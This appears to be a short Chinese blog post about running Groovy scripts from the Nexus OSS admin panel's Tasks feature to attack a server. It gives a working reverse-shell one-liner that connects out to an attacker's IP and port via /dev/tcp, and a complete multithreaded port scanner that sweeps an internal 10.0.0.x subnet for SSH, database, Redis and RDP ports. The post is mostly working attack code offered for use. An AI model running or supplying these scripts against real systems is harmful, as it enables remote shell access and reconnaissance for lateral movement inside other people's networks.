描述:
在进入Nexus Oss后台后,可以在 设置 - Tasks 中执行groovy脚本。
不会让任务挂起的弹shell脚本:
['/bin/bash','-c','/bin/bash -i >& /dev/tcp/IP/PORT 0>&1'].execute()
扫描端口脚本,可以输出到Logging - Log Viewer:
import java.util.concurrent.ExecutorService
import java.util.concurrent.Executors
import java.util.concurrent.Callable
import java.util.concurrent.Executors
import java.util.concurrent.TimeUnit
import java.util.concurrent.Future
def ips = "10.0.0."
def ports = [22,80,8080,8081,8888,6379,11211,3306,1433,81,3389]
def threadNum = 15
def scanPort = {
ip,port ->
def scanip = ips+ip
try {
Socket socket = new Socket()
socket.connect(new InetSocketAddress(scanip, port), 2000)
if (socket.isConnected()){
//println(scanip+" "+ port+ " open")
log.info(ips+ip+" "+port+" open")
}
socket.close()
} catch (Exception e) {
//log.info(scanip+":"+port+" -> "+e)
}
}
log.info("----------- scan -------------")
def threadPool = Executors.newFixedThreadPool(threadNum)
try {
List<Future> futures = (ports).collect{
port->List<Future> futures = (0..255).collect{
ipnum->threadPool.submit({->scanPort ipnum,port} as Callable);
}
futures.each{it.get()}
}
}finally {
threadPool.shutdown()
}
log.info("----------- end-------------")
后台管理界面样式图
本文由 owner 创作,采用 知识共享署名4.0 国际许可协议进行许可
本站文章除注明转载/出处外,均为本站原创或翻译,转载前请务必署名
最后编辑时间为: Sep 13, 2018 at 05:38 pm